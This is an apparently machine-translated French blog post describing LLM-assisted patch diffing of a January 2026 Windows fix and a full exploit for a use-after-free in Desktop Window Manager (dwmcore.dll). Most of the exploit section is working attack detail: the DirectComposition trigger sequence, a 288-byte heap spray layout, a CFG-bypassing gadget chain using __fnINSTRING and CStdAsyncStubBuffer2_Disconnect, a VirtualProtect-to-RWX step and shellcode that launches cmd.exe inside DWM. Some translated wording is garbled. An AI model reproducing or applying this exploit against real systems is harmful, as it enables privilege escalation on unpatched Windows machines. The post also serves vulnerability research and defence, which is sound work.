Intro
Le patch diffing me fascine depuis longtemps. Je pense que c'est en partie dû à la course contre la montre, à l'inversion, à l'exploitation et à la tentative d'atteindre le statut d'exploit "1 jour". Pour les cibles Windows avancées, Valentina Palmiotti et Ruben Boonen ont prouvé que cela était déjà possible il y a près de 3 ans. Mais ils comptent parmi les développeurs d'exploits les plus talentueux au monde. Les LLM peuvent-ils élever le niveau des capacités pour les simples mortels que nous sommes ? Heureusement, et peut-être de manière un peu alarmante, la réponse est oui.
La chasse
Lorsque le bulletin du Patch Tuesday de janvier 2026 est tombé, j'ai commencé à chercher à identifier l'une des vulnérabilités corrigées et (avec un peu de chance) à mettre au point un programme d'exploitation. Les vulnérabilités déjà connues pour être exploitées dans la nature figuraient en tête de liste. Les correctifs de janvier comprenaient une vulnérabilité de fuite d'informations dans Desktop Window Manager (DWM), qui a attiré mon attention. Il comprend également une deuxième vulnérabilité DWM qui pourrait conduire à une escalade locale des privilèges. Historiquement, DWM a été une cible populaire pour l'escalade des privilèges locaux. Il est parfois difficile d'identifier le composant corrigé exact, mais pour DWM, dwmcore.dll est toujours une valeur sûre.
Après avoir entraîné Ghidra sur les fichiers et extrait les vecteurs BSim pour chaque fonction, il devient assez facile de mettre en évidence les différences entre elles. De plus, de nombreuses vulnérabilités corrigées par Microsoft sont accompagnées de nouvelles fonctionnalités. Inutile de dire qu'Opus 4.5 a rapidement fait le travail et a identifié l'une des vulnérabilités en l'espace de quelques minutes.
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
À partir de là, je dois dire que le temps nécessaire à l'élaboration d'un exploit fonctionnel a été douloureusement plus lent que je ne l'aurais espéré. J'ai passé de longues nuits et de longs week-ends à faire avancer le modèle. Cela s'explique en grande partie par ma propre méconnaissance de la classe et du sous-système des bogues. Finalement, nous avons obtenu gain de cause et fait passer le RCE de l'état de faible privilège à l'état de DWM et de SYSTEM. Au cours de ce processus, j'ai découvert plusieurs nouvelles techniques d'exploitation, comme le spray GetRECT, de nouvelles chaînes de gadgets et un chemin DWM-to-SYSTEM. Toutefois, grâce à ces techniques (et à d'autres outils) et à des versions plus récentes comme Opus 4.6, le délai entre la découverte d'une vulnérabilité UAF dans DWM et l'exploitation fonctionnelle est passé de 3 semaines à quelques heures.
L'insecte
La vulnérabilité est un Use-After-Free dans CSynchronousSuperWetInk::~CSynchronousSuperWetInk. Le destructeur supprime conditionnellement l'objet de CSuperWetInkManager en fonction de la valeur de retour de IsSuperWetCompatible().
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
Le destructeur vulnérable de dwmcore.dll version 10.0.26100.7309.
Condition SuperWetCompatible
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
La condition IsSuperWetCompatible dans dwmcore.dll version 10.0.26100.7309.
La fonction renvoie true uniquement si LookupMode est égal à 2, ou si notifier1 est défini, ET si clipEntry et comObject ne sont pas nuls.
L'insecte
Un attaquant peut
- Enregistrez un
CSynchronousSuperWetInkauprès du gestionnaire (nécessiteLookupMode=2pendantDraw()). - Remplacez
LookupModepar 0 viaCMD_SET_PROPERTY - Déclencher la destruction via
CMD_RELEASE_RESOURCE IsSuperWetCompatible()renvoie FALSE →RemoveSource()est ignoré- Un pointeur en suspens reste dans
CSuperWetInkManager::localStrokesVector
Lorsque le DWM itère ensuite ce vecteur (par exemple, dans DirtyActiveInk), il déréférence la table virtuelle de l'objet libéré, ce qui entraîne une exécution contrôlée du code.
La solution
Le correctif ajoute un indicateur de fonctionnalité (Feature_1732988217). Lorsque cette option est activée, RemoveSource() est appelé inconditionnellement, indépendamment de IsSuperWetCompatible(). Cela permet de s'assurer que l'objet est toujours correctement désenregistré du gestionnaire lors de sa destruction, ce qui élimine le pointeur qui traîne.
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
Le destructeur corrigé dans dwmcore.dll version 10.0.26100.7623.
L'exploit
L'UAF peut être déclenché à partir d'une application ordinaire en mode utilisateur via l'API DirectComposition. L'attaque ne nécessite aucun privilège particulier.
Produits requis
- Infrastructure D3D11/DXGI: Créez un périphérique D3D11 avec support BGRA et une chaîne d'échange pour une fenêtre visible.
- Dispositif DirectComposition: Initialiser via
DCompositionCreateDevice()avec le dispositif DXGI. - NtDComposition Syscall Access: Accrochez ou appelez directement
NtDCompositionProcessChannelBatchBufferetNtDCompositionCommitChannelviawin32u.dllpour injecter des commandes brutes de tampon de lot.
Séquence de déclenchement
Étape 1 : Création d'une piste d'encre (attribution de CSynchronousSuperWetInk)
Interrogez IDCompositionInkTrailDevice à partir du dispositif DirectComposition, puis appelez CreateDelegatedInkTrailForSwapChain() ou CreateDelegatedInkTrail(). Cette opération alloue un objet CSynchronousSuperWetInk (ressource de type 0xa8) dans le tas de dwm.exe.
Étape 2 : Créer un visuel et définir LookupMode=2
Injecter des commandes de tampon de lot à :
- Créez un
CSuperWetInkVisual(type0xa5) avecCMD_CREATE_RESOURCE(0x02) - Connecter le visuel à la source d'encre :
CMD_SET_REFERENCE(0x10) avec propId0x34 - Définir
LookupMode=2sur la source d'encre viaCMD_SET_PROPERTY(0x0B) avec propId10 - Connexion à l'arbre de composition :
CMD_SET_REFERENCEvers les handles 1 et 2 (composition target / marshaler) avec propId0x34
LookupMode=2 garantit que IsSuperWetCompatible() renvoie TRUE pendant Draw(), qui enregistre l'objet avec CSuperWetInkManager::localStrokesVector.
Étape 3 : Rendre les images pour les enregistrer dans le gestionnaire
Présentez plusieurs images (IDXGISwapChain::Present) et effectuez les modifications de DirectComposition. Cela déclenche la boucle de rendu du DWM, qui fait appel à l'infrastructure de l'encre et enregistre le pointeur CSynchronousSuperWetInk dans le vecteur interne du gestionnaire.
Étape 4 : Définir LookupMode=0 (contourner le contrôle de suppression)
Injectez CMD_SET_PROPERTY pour transformer LookupMode en 0. Maintenant, IsSuperWetCompatible() renverra FALSE parce que :
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
Si LookupMode = 0 et qu'il n'y a pas de notificateur, la première condition n'est pas remplie.
Étape 5 : Relâcher la trace d'encre (créer un pointeur suspendu)
- Déconnexion des références visuelles :
CMD_SET_REFERENCEavec refHandle=0 pour toutes les connexions - Libérez l'interface
IDCompositionDelegatedInkTrail
Lorsque le destructeur ~CSynchronousSuperWetInk s'exécute :
- Il appelle
IsSuperWetCompatible()qui renvoie FALSE (LookupMode=0). RemoveSource()est SAUVEGARDE- L'objet est libéré mais son pointeur reste dans le fichier
CSuperWetInkManager::localStrokesVector
Étape 6 : Déclencher DirtyActiveInk (Use-After-Free)
Continuez à présenter des cadres et à invalider la fenêtre. La boucle de composition du DWM appelle CSuperWetInkManager::DirtyActiveInk(), qui itère localStrokesVector et déréférence le pointeur en suspens :
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
Comportement en cas d'accident
En l'absence d'une pulvérisation du tas, DWM se bloque lorsqu'il accède à la mémoire libérée :
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
Si la mémoire libérée est récupérée par un autre objet (par exemple, CInteractionTrackerScaleAnimation), le crash se produit à une table virtuelle inattendue :
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
En contrôlant les données qui récupèrent l'allocation libérée, un attaquant peut créer une fausse table virtuelle et obtenir une exécution de code arbitraire via l'appel virtuel à vtable+0x50.
Pulvérisation en tas
Pour exploiter l'UAF, nous devons récupérer l'allocation CSynchronousSuperWetInk libérée avec des données contrôlées par l'attaquant et contenant une fausse table virtuelle. Cette section décrit la technique de pulvérisation du tampon RECT de CRegionGeometry que nous appelons GetRECT.
Propriétés de l'objet cible
| Propriété | Value (Valeur) |
|---|---|
| Objet | CSynchronousSuperWetInk |
| Taille | 0x120 (288 octets) |
| Allocateur | DefaultHeap::AllocClear → GetProcessHeap() |
| Seau LFH | 34 (plage de 273 à 288 octets) |
| Emplacements par sous-segment | 57 |
Spray Primitive : CRegionGeometry Tampon RECT
Le spray utilise les ressources CRegionGeometry (type 0x81) avec les données du tableau RECT :
| Propriété | Value (Valeur) |
|---|---|
| Type de ressource | 0x81 (CRegionGeometry) |
| Taille du spray | 18 RECTs × 16 octets = 288 octets |
| Allocateur | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| Seau LFH | 34, identique à l'objectif |
| Contrôle du contenu | 72 valeurs int32 (18 RECTs × 4 champs) |
Chaîne d'allocation:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
Le tampon RECT est écrit via CMD_SET_BUFFER_PROPERTY (0x0F) avec propId 5:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
Schéma RECT pour un faux objet
Les RECT 18 (288 octets) permettent un contrôle total de la mémoire récupérée :
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
Aide à l'écriture de valeurs de 64 bits dans des champs RECT adjacents :
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
Exploitation Primitive
L'UAF nous donne un appel de table virtuelle contrôlé avec RCX pointant vers notre objet pulvérisé. Lorsque DirtyActiveInk itère le pointeur en suspens :
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
Appeler la pile de sites :
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
État de l'enregistrement au moment de l'envoi :
RCX= pointeur sur l'objet pulvérisé (notre 288 bytes contrôlé)RIP=[[spray]+0x50](pointeur de fonction de la fausse table virtuelle)
Contraintes de la fonction cible
Il y a initialement deux restrictions sur ce que nous pouvons appeler :
- La cible doit figurer dans la carte bitmap CFG (marquée comme cible d'appel valide).
- La cible doit disposer d'un pointeur (dans l'IAT, la vtable ou une autre mémoire lisible).
Nous ne pouvons pas appeler directement des adresses arbitraires, mais seulement des fonctions qui satisfont aux deux conditions.
Chaîne de gadgets : __fnINSTRING + CStdAsyncStubBuffer2_Disconnect
L'UAF nous donnant un appel de table virtuelle contrôlé (RIP = [[spray]+0x50], RCX = spray), le défi restant est d'enchaîner des gadgets valides CFG pour obtenir une exécution de code arbitraire. L'exécution directe du shellcode est bloquée par le CFG, et nous n'avons pas de fuite d'adresses sur le tas. Nous avons mis au point une nouvelle chaîne de gadgets qui résout les deux problèmes pour parvenir à l'exécution du code, mais elle nécessite 2 tentatives d'exploitation réussies, ce qui réduit la fiabilité. Nous avons donc opté pour une technique publique connue utilisant deux gadgets DLL du système Windows : __fnINSTRING (user32.dll). et CStdAsyncStubBuffer2_Disconnect (combase.dll).
Étape 1 : __fnINSTRING - L'envoi de rappels du noyau sans fuite
Le noyau Windows communique avec le mode utilisateur par l'intermédiaire de KernelCallbackTable (KCT), une table de pointeurs de fonctions stockée dans le PEB à l'emplacement +0x58. Chaque entrée renvoie à un gestionnaire __fn* dans user32.dll. Ces fonctions sont des cibles d'appel valides pour le CFG et ont des pointeurs vers elles dans une mémoire lisible (le KCT lui-même), ce qui satisfait aux deux contraintes.
Nous faisons pointer la fausse table virtuelle sur &KCT[fnINSTRING_index] - 0x50. Lorsque DirtyActiveInk déréférence [[spray]+0x50], il lit l'entrée KCT et l'envoie à __fnINSTRING:
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
Ce qui est utile, c'est ce que fait __fnINSTRING en interne. Elle traite son argument (notre tampon de pulvérisation) comme une structure _CAPTUREBUF et appelle FixupCallbackPointers avant de lancer la fonction interne. FixupCallbackPointers lit une table de correction dans la mémoire tampon et convertit les décalages relatifs en adresses absolues en ajoutant l'adresse de base de la mémoire tampon :
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
Cela élimine la nécessité d'une fuite d'adresse du tas. Nous intégrons les décalages relatifs dans le tampon de pulvérisation et FixupCallbackPointers les transforme en pointeurs absolus au moment de l'exécution en utilisant l'adresse propre du tampon. Après la correction, __fnINSTRING distribue le pointeur de fonction interne à +0x48 avec les arguments à +0x28 (RCX), +0x30 (EDX), +0x38 (R8) et +0x50 (R9).
Nous fixons la fonction interne à CStdAsyncStubBuffer2_Disconnect.
Étape 2 : CStdAsyncStubBuffer2_Disconnect - Deux appels de table virtuelle enchaînés
CStdAsyncStubBuffer2_Disconnect est exporté depuis combase.dll, ce qui lui confère une validité CFG et une adresse stable. Son désassemblage révèle une primitive utile : deux distributions séquentielles de tables virtuelles avec des registres d'arguments préservés :
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX, R8, et R9 sont préservés par les deux appels, et arrivent intacts de la configuration d'arguments de __fnINSTRING. Cela nous donne un contrôle total sur les trois premiers arguments des deux appels de vtable.
Appel de table virtuelle #1 : VirtualProtect → RWX
Nous construisons un faux objet autoréférentiel à l'adresse +0xC8 dans le tampon de pulvérisation : [+0xC8] pointe vers lui-même (après correction), de sorte que le déréférencement de [RCX] → [RCX+0x20] permet de lire l'adresse de VirtualProtect à partir de +0xE8. Les arguments (conservés à partir de l'envoi de __fnINSTRING ) sont les suivants :
| S'inscrire | Value (Valeur) | Finalité |
|---|---|---|
| RCX | base+0xC8 (fake_obj_1) | lpAddress (début de la région du tampon de pulvérisation) |
| RDX | 0x1000 | dwSize |
| R8 | 0x40 | flNewProtect (PAGE_EXECUTE_READWRITE) |
| R9 | base+0xC0 | lpflOldProtect (emplacement de sortie dans le tampon de pulvérisation) |
Après cet appel, la page de mémoire du tampon de pulvérisation est marquée RWX, et le bitmap CFG est mis à jour pour permettre l'exécution à partir de cette région.
Appel de table virtuelle #2 : Shellcode en ligne
Après le retour de VirtualProtect, Disconnect charge [this+0x10] dans RCX pour la deuxième distribution de table virtuelle :
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
La chaîne des pointeurs se résout étape par étape :
[this+0x10]=[base+0x90]=base+0xA0(faux_obj_2)[RCX]=[base+0xA0]=base+0xA8, pointeur de table virtuelle de fake_obj_2 (après correction)[RAX+0x10]=[base+0xB8]=base+0xD0, troisième entrée de la table_2, pointant vers notre shellcode
Le dernier CALL guard_dispatch_icall envoie à base+0xD0, notre shellcode en ligne, qui est maintenant exécutable et valide du point de vue du CFG grâce à l'appel VirtualProtect précédent.
Disposition du shellcode
Le shellcode est divisé en deux phases parce que les données d'adresse VirtualProtect se trouvent à l'adresse +0xE8 (utilisée comme vtable_1[0x20] par l'appel n° 1), ce qui crée un vide au milieu de notre région exécutable :
Phase 1 (+0xD0, 22 octets) : Enregistre RCX (base+0xA0) dans RBX pour une arithmétique d'adresse ultérieure, alloue un espace d'ombre, charge SW_SHOW (5) dans RDX, charge l'adresse absolue de WinExec via movabs RAX, puis saute par-dessus l'espace de données de 8 octets à +0xE8:
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
Phase 2 (+0xF0) : Appelle WinExec avec un pointeur relatif RIPsur la chaîne "cmd.exe\0" intégrée à la fin du shellcode, désamorce le spray pour une réentrée sûre, puis effectue une correction de la pile pour revenir directement à la boucle de composition du DWM :
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
Le site add rsp, 0xB8 améliore la fiabilité. Un add rsp, 0x28 naïf renverrait dans le CStdAsyncStubBuffer2_Disconnect, qui renverrait ensuite dans le __fnINSTRING, qui appellerait le NtCallbackReturn. Ce chemin de retour du callback du noyau peut être fragile dans le contexte d'un appel détourné. En ajoutant une adresse 0x90 à l'ajustement de la pile, le shellcode passe entièrement les deux images intermédiaires et retourne directement à l'appelant de DirtyActiveInk dans la boucle de composition du DWM.
Réintégration en toute sécurité : Désamorcer la pulvérisation
Le site DirtyActiveInk du DWM peut itérer le pointeur suspendu plus d'une fois. Sans désamorçage, chaque rentrée dans l'atmosphère déclencherait à nouveau la chaîne complète et le crash. Le shellcode réécrit le pointeur de table virtuelle du spray de manière à ce que les déréférences ultérieures empruntent un chemin inoffensif :
[base+0x00]est remplacée parbase+0x08(nouvelle fausse table virtuelle)[base+0x58]est remplacée par l'adresse d'une instructionret
Lors de la réinsertion : [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. L'appel à la vtable est renvoyé immédiatement. __fnINSTRING n'est jamais ré-invoquée car la table virtuelle ne pointe plus vers l'entrée KCT.
Mise en place complète de l'épandage
Le tampon de pulvérisation complet de 288 octets (18 RECT) après FixupCallbackPointers:
| Décalage | Taille | Contenu | Finalité |
|---|---|---|---|
| +0x00 | 8 | KCT_entry - 0x50 | Faux vtable → __fnINSTRING |
| +0x08 | 4 | 8 | Nombre de réparations |
| +0x18 | 4 | 0x58 | Décalage de la table de réparation |
| +0x20 | 8 | base (réparée) | Garde (bloque la refixation) |
| +0x28 | 8 | base+0x80 (réparé) | RCX → Déconnexion this |
| +0x30 | 4 | 0x1000 | EDX → VirtualProtect dwSize |
| +0x38 | 8 | 0x40 | R8 → PAGE_EXECUTE_READWRITE |
| +0x48 | 8 | &Déconnexion | Pointeur de fonction interne |
| +0x50 | 8 | base+0xC0 (réparé) | R9 → lpflOldProtect |
| +0x58 | 32 | tableau de réparation (8 entrées) | Offsets to patch |
| +0x78 | 8 | base+0xC8 (réparé) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (non utilisé) | Déconnectez la base this |
| +0x90 | 8 | base+0xA0 (réparé) | [this+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (réparé) | fake_obj_2 vtable |
| +0xB8 | 8 | base+0xD0 (réparé) | vtable_2[0x10] → shellcode |
| +0xC0 | 4 | (sortie) | VirtualProtect lpflOldProtect |
| +0xC8 | 8 | base+0xC8 (réparé) | Table v autoréférentielle (fake_obj_1) |
| +0xD0 | 22 | shellcode phase 1 | Sauvegarde des registres, chargement de WinExec, jmp |
| +0xE8 | 8 | &VirtualProtect | vtable_1[0x20] données |
| +0xF0 | 48 | shellcode phase 2 | WinExec + defuse + stack fixup + "cmd.exe\0" |
Résumé de la chaîne complète
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
Le processus DWM s'exécute en tant qu'utilisateur DWM avec l'intégrité du système. Les techniques publiques antérieures permettant d'atteindre le SYSTÈME impliquent généralement le détournement de pointeurs de fonction mappés dans des processus clients privilégiés tels que LogonUI ou Consent. Cependant, il semble que cette technique ait été récemment corrigée, car la section partagée est désormais mappée en lecture seule. Nous avons mis au point une nouvelle voie alternative au SYSTÈME, mais nous avons choisi de ne pas publier la technique pour le moment.
Réflexions finales
Les modèles dont nous disposons aujourd'hui sont très performants pour accomplir des tâches qui, historiquement, nécessitaient une expertise approfondie cultivée pendant de nombreuses années. Il s'agit notamment de l'ingénierie inverse, de la découverte de vulnérabilités et de la mise au point d'exploits. Leurs capacités sont très limitées et ne rivalisent pas encore avec les meilleurs pays du monde dans ces domaines. Cependant, la progression des modèles ne semble pas vouloir ralentir pour l'instant. Cela permet aux défenseurs de jouer à armes égales, mais aussi aux attaquants d'accroître leurs capacités. Bien qu'il y ait toujours eu un jeu du chat et de la souris entre adversaires, et ce n'est pas nouveau à cet égard, les attaquants disposent au moins d'un avantage asymétrique à court terme pour utiliser ces outils à des fins malveillantes. Les attaquants peuvent agir plus rapidement, sans se soucier de la sûreté ou de la sécurité des systèmes d'IA. Les défenseurs doivent exploiter l'IA à des fins offensives contre leur code (pour les vulnérabilités), les produits de sécurité (pour les lacunes de détection) et leurs entreprises (émulation de l'adversaire) afin de trouver les faiblesses et d'améliorer les défenses avant que les attaquants ne le fassent. Malheureusement, ce sont les petites entreprises qui n'ont pas d'équipe de sécurité qui risquent de souffrir le plus à court terme. J'espère qu'à long terme, la communauté de la sécurité pourra ensemble dépasser les attaquants en matière de recherche offensive et défensive, et que nous sortirons de cette ère en meilleure position que nous ne l'avons commencée.
